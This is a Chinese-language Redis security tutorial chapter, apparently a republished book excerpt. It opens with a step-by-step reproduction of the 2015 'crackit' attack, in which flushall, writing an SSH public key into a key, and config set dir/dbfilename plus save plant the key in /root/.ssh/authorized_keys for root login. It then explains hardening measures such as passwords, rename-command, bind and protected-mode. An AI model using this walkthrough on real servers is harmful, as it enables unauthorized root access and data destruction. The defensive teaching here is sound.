锐单电子商城 , 一站式电子元器件采购平台!
  • 电话:400-990-0325

Redis入门完整教程:安全的Redis

时间:2022-09-19 21:00:00 wpq铝合金材料传感器

2015年11月,全球数万人Redis节点遭受到了攻击,所有数据都被清除
只有一个叫crackit这个键的值与公钥非常相似,如下所示。
127.0.0.1:6379> get crackit
"\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsGWAoHYwBcnAkPaGZ565wPQ0Ap3K7zrf2v9p
HPSqW n8WqsbS xNpvvcgeNT/fYYbnkUit11RUiMCzs5FUSI1LRthwt4yvpMMbNnEX6J/0W/0nlq
PgzrzYflP/cnYzEegKlcXHJ2AlRkukNPhMr EkZVyxoJNLY MB2kxVZ838z4U0ZamlPEgzy zA oF
0JLTU5fj51fP0XL2JrQOGLb4nID73MvnROT4LGiyUNMcLt /Tvrv/DtWbo3sduL6q/2Dj3VD0xGD
l1kTNAzdj jOA1Jg1SH53Va34KqIAh2n0Ic 3y71eXV WouCwkYrDiqqxaGZ7KKmPUjeHTLUEhT5Q
== root@zw_xx_192\n\n\n\n"
很多数据丢失Redis经有关机构调查,开发者是致命的
发现,被攻击Redis具有以下特点:
·Redis机器有外网IP。
·Redis以默认端口6379为启动端口,对外网开放。
·Redis是以root用户启动。
·Redis密码没有设置。
·Redis的bind设置为0.0.0.0或者""。
充分利用攻击者Redis的dir和dbfilename可使用两种配置config set动态
设置,以及RDB持久的特性,把你的公钥写进目标机器
的/root/.ssh/authotrized_keys从而实现了对目标机器的攻击。
如图12-2所示。

机器A是攻击者的机器(内网)IP:10.10.xx.192)机器B是攻击者
器(外网IP:123.16.xx.182)满足上述五个特征的部署Redis,
让我们模拟整个攻击过程。
1)首先确认机器A不能通过当前(攻击前)SSH访问机器B,因为没有
权限:
#ssh root@123.16.xx.182
root@123.16.xx.182's password:
2)由于机器B的外网对外开放Redis6379端口可直接连接
到Redis上执行flushall操作时注意破坏性已大,如下所示:
#redis-cli -h 123.16.xx.182 -p 6379 ping
PONG
#redis-cli -h 123.16.xx.182 -p 6379 flushall
OK

3)在机器A中生成公钥,并将公钥保存到文件中my.pub中:
# cd /root
# ssh-keygen -t rsa
# (echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > my.pub
# cat my.pub
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsGWAoHYwBcnAkPaGZ565wPQ0Ap3K7zrf2v9pHPSqW n
8WqsbS xNpvvcgeNT/fYYbnkUit11RUiMCzs5FUSI1LRthwt4yvpMMbNnEX6J/0W/0nlqPgzrzY
flP/cnYzEegKlcXHJ2AlRkukNPhMr EkZVyxoJNLY MB2kxVZ838z4U0ZamlPEgzy zA oF0JLTU
5fj51fP0XL2JrQOGLb4nID73MvnROT4LGiyUNMcLt /Tvrv/DtWbo3sduL6q/2Dj3VD0xGDl1kTNAzdj
jOA1Jg1SH53Va34KqIAh2n0Ic 3y71eXV WouCwkYrDiqqxaGZ7KKmPUjeHTLUEhT5Q== root@zw_xx_192
4)将键crackit该值设置为公钥。
cat my.pub | redis-cli -h 123.16.xx.182 -p 6379 -x set crackit
OK
redis-cli -h 123.16.xx.182 -p 6379 get crackit
"\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsGWAoHYwBcnAkPaGZ565wPQ0Ap3K7zrf2v9pHP
SqW n8WqsbS xNpvvcgeNT/fYYbnkUit11RUiMCzs5FUSI1LRthwt4yvpMMbNnEX6J/0W/0nlqPgz
rzYflP/cnYzEegKlcXHJ2AlRkukNPhMr EkZVyxoJNLY MB2kxVZ838z4U0ZamlPEgzy zA oF0J
LTU5fj51fP0XL2JrQOGLb4nID73MvnROT4LGiyUNMcLt /Tvrv/DtWbo3sduL6q/2Dj3VD0xGDl1
kTNAzdj jOA1Jg1SH53Va34KqIAh2n0Ic 3y71eXV WouCwkYrDiqqxaGZ7KKmPUjeHTLUEhT5Q
== root@zw_94_190\n\n\n\n"
5)将Redis的dir设置为/root/.ssh目录,dbfilename设置为
authorized_keys,执行save命令生成RDB文件如下:
123.16.xx.182:6379> config set dir /root/.ssh
OK
123.16.xx.182:6379> config set dbfilename authorized_keys
OK
123.16.xx.182:6379> save
OK
此时机器B/root/.ssh/authorized_keys包含了攻击者的公钥,之后攻击者
你可以为所欲为。
6)此时机器A再次通过SSH协议访问机器B,发现可顺利登录:
[@zw_94_190 ~]# ssh root@123.16.xx.182
Last login: Mon Sep 19 08:42:55 2016 from 10.10.xx.192

登录后可观察/root/.ssh/authorized_keys,可以发现它是RDB文件:
#cat /root/.ssh/authorized_keys
REDIS0006tcrackitA
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsGWAoHYwBcnAkPaGZ565wPQ0Ap3K7zrf2v9pHPSqW n
8WqsbS xNpvvcgeNT/fYYbnkUit11RUiMCzs5FUSI1LRthwt4yvpMMbNnEX6J/0W/0nlqPgzrzY
flP/cnYzEegKlcXHJ2AlRkukNPhMr EkZVyxoJNLY MB2kxVZ838z4U0ZamlPEgzy zA oF0JLTU5
fj51fP0XL2JrQOGLb4nID73MvnROT4LGiyUNMcLt /Tvrv/DtWbo3sduL6q/2Dj3VD0xGDl1kTNA
zdj jOA1Jg1SH53Va34KqIAh2n0Ic 3y71eXV WouCwkYrDiqqxaGZ7KKmPUjeHTLUEhT5Q== root
@zw_xx_192
没有人想要自己的Redis机器就这样被攻击吧?本节我们将介绍如下
何让Redis足够安全。
Redis由于是内网运行的轻量级高性能键值服务,其设计目标是
在内网运行,所以安全工作不多,Redis只提供简单
密码机制,没有用户权限的相关划分。然后,在日常生活中Redis的开
在头发和运维中应注意哪些方面?Redis服务不仅能提供高效稳定的服务,
还能保证在足够安全的网络环境中运行吗?介绍将从七个方面进行
绍。

12.3.1 Redis密码机制
1.密码机制简单
Redis提供了requirepass配置为Redis如果添加此配置,提供密码功能
置,客户端就不能通过redis-cli–h{ip}–p{port}执行命令。例如,下面启动一个
个密码为hello_redis_devops的Redis:
redis-server --requirepass hello_redis_devops
此时通过redis-cli执行命令将收到无权提示:
# redis-cli
127.0.0.1:6379> ping
(error) NOAUTH Authentication required.
Redis配置密码的访问提供了两种方式Redis:
·redis-cli-a参数。使用redis-cli连接Redis时,添加-a加密码参数,如
果实密码可以正常访问Redis具体操作如下:
# redis-cli – h 127.0.0.1 – p 6379 – a hello_redis_devops
127.0.0.1:6379> ping
PONG
·auth命令。通过redis-cli连接后,执行auth加密码命令,如果密码正确
可正常访问Redis具体操作如下:
# redis-cli
127.0.0.1:6379> auth hello_redis_devops
OK
127.0.0.1:6379> ping
PONG

2.运维建议
这种密码机制可以在一定程度上得到保护Redis安全,但在使用中requirepass
注意以下几点:
·密码应该足够复杂(超过64个字节),因为Redis如果密码的性能很高
通过暴力破解破译密码相对简单。
·若主从结构Redis,不要忘记在节点配置中添加
masteraut(master的密码)配置,否则会造成主从节点同步失效。
·auth是通过明文进行传输的,所以也不是100%可靠,如果被攻击者劫
持也相当危险。

12.3.2 伪装危险命令
1.引入rename-command
Redis中包含了很多“危险”的命令,一旦错误使用或者误操作,后果不
堪设想,例如如下命令:
·keys:如果键值较多,存在阻塞Redis的可能性。
·flushall/flushdb:数据全部被清除。
·save:如果键值较多,存在阻塞Redis的可能性。
·debug:例如debug reload会重启Redis。
·config:config应该交给管理员使用。
·shutdown:停止Redis。
理论上这些命令不应该给普通开发人员使用,那有没有什么好的方法能
够防止这些危险的命令被随意执行呢?Redis提供了rename-command配置解
决这个问题。下面直接用一个例子说明rename-command的作用。例如当前
Redis包含10000个键值对,现使用flushall将全部数据清除:
127.0.0.1:6379> flushall
OK
例如Redis添加如下配置:
rename-command flushall jlikfjalijl3i4jl3jql34j

那么再执行flushall命令的话,会收到Redis不认识flushall的错误提示,
说明我们成功地用rename-command对flushall命令做了伪装:
127.0.0.1:6379> flushall
(error) ERR unknown command  ‘ flushall ’
而如果执行jlikfjalijl3i4jl3jql34(随机字符串),那么就可以实现
flushall的功能了,这就是rename-command的作用,管理员可以对认为比较危
险的命令做rename-command处理:
127.0.0.1:6379> jlikfjalijl3i4jl3jql34j
OK
2.没有免费的午餐
rename-command虽然对Redis的安全有一定帮助,但是天下并没有免费
的午餐。使用了rename-command时可能会带来如下麻烦:
·管理员要对自己的客户端进行修改,例如jedis.flushall()操作内部使
用的是flushall命令,如果用rename-command后需要修改为新的命令,有一定
的开发和维护成本。
·rename-command配置不支持config set,所以在启动前一定要确定哪些
命令需要使用rename-command。
·如果AOF和RDB文件包含了rename-command之前的命令,Redis将无法
启动,因为此时它识别不了rename-command之前的命令。
·Redis源码中有一些命令是写死的,rename-command可能造成Redis无法

正常工作。例如Sentinel节点在修改配置时直接使用了config命令,如果对
config使用rename-command,会造成Redis Sentinel无法正常工作。
3.最佳实践
在使用rename-command的相关配置时,需要注意以下几点:
·对于一些危险的命令(例如flushall),不管是内网还是外网,一律使
用rename-command配置
·建议第一次配置Redis时,就应该配置rename-command,因为rename-
command不支持config set。
·如果涉及主从关系,一定要保持主从节点配置的一致性,否则存在主
从数据不一致的可能性。

12.3.3 防火墙
可以使用防火墙限制输入和输出的IP或者IP范围、端口或者端口范围,
在比较成熟的公司都会对有外网IP的服务器做一些端口的限制,例如只允许
80端口对外开放。因为一般来说,开放外网IP的服务器中Web服务器比较
多,但通常存储服务器的端口无需对外开放,防火墙是一个限制外网访问
Redis的必杀技。

12.3.4 bind
1.对于bind的错误认识
很多开发者在一开始看到bind的这个配置时都是这么认为的:指定
Redis只接收来自于某个网段IP的客户端请求。
但事实上bind指定的是Redis和哪个网卡进行绑定,和客户端是什么网
段没有关系。例如使用ifconfig命令获取当前网卡信息如下:
eth0 Link encap:Ethernet Hwaddr 90:B1:1C:0B:18:02
inet addr:10.10.xx.192 Bcast:10.10.xx.255 Mask:255.255.255.0

eth1 Link encap:Ethernet Hwaddr 90:B1:1C:0B:18:03
inet addr:220.181.xx.123 Bcast:220.181.xx.255 Mask:255.255.255.0

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0

包含了三个IP地址:
·内网地址:10.10.xx.192
·外网地址:220.181.xx.123
·回环地址:127.0.0.1
如果当前Redis配置了bind10.10.xx.192,那么Redis访问只能通过
10.10.xx.192这块网卡进入,通过redis-cli–h220.181.xx.123–p6379和本机redis-
cli–h127.0.0.1–p6379都无法连接到Redis。会收到如下操作提示:
# redis-cli  – h 220.181.xx.123  – p 6379
Could not connect to Redis at 220.181.xx.123:6379: Connection refused

只能通过10.10.xx.192作为redis-cli的参数:
# redis-cli  – h 10.10.xx.192
10.10.xx.192:6379> ping
PONG
bind参数可以设置多个,例如下面的配置表示当前Redis只接受来自
10.10.xx.192和127.0.0.1的网络流量:
bind 10.10.xx.192 127.0.0.1
运维提示
Redis3.0中bind默认值为””,也就是不限制网卡的访问,但是在Redis3.2
中必须显示的配置bind0.0.0.0才可以达到这种效果。
2.建议
经过上面的实验以及对于bind的认识,可以得出如下结论:
·如果机器有外网IP,但部署的Redis是给内部使用的,建议去掉外网网
卡或者使用bind配置限制流量从外网进入。
·如果客户端和Redis部署在一台服务器上,可以使用回环地址
(127.0.0.1)。
·bind配置不支持config set,所以尽可能在第一次启动前配置好。
Redis3.2提供了protected-mode配置(默认开启),它的含义可以用如下
伪代码解释。

if (protected-mode && !requirepass && !bind) {
Allow only 127.0.0.1,::1 or socket connections
Deny (with the long message ever!) others
}
如果当前Redis没有配置密码,没有配置bind,那么只允许来自本机的
访问,也就是相当于配置了bind127.0.0.1。

12.3.5 定期备份数据
天有不测风云,假如有一天Redis真的被攻击了(清理了数据,关闭了
进程),那么定期备份的数据能够在一定程度挽回一些损失,定期备份持久
化数据是一个比较好的习惯。

12.3.6 不使用默认端口
Redis的默认端口是6379,不使用默认端口从一定程度上可降低被入侵
者发现的可能性,因为入侵者通常本身也是一些攻击程序,对目标服务器进
行端口扫描,例如MySQL的默认端口3306、Memcache的默认端口11211、
Jetty的默认端口8080等都会被设置成攻击目标,Redis作为一款较为知名的
NoSQL服务,6379必然也在端口扫描的列表中,虽然不设置默认端口还是有
可能被攻击者入侵,但是能够在一定程度上降低被攻击的概率。

12.3.7 使用非root用户启动
root用户作为管理员,权限非常大。如果被入侵者获取root权限后,就
可以在这台机器以及相关机器上“为所欲为”了。笔者建议在启动Redis服务
的时候使用非root用户启动。事实上许多服务,例如Resin、Jetty、HBase、
Hadoop都建议使用非root启动。

锐单商城拥有海量元器件数据手册IC替代型号,打造电子元器件IC百科大全!

相关文章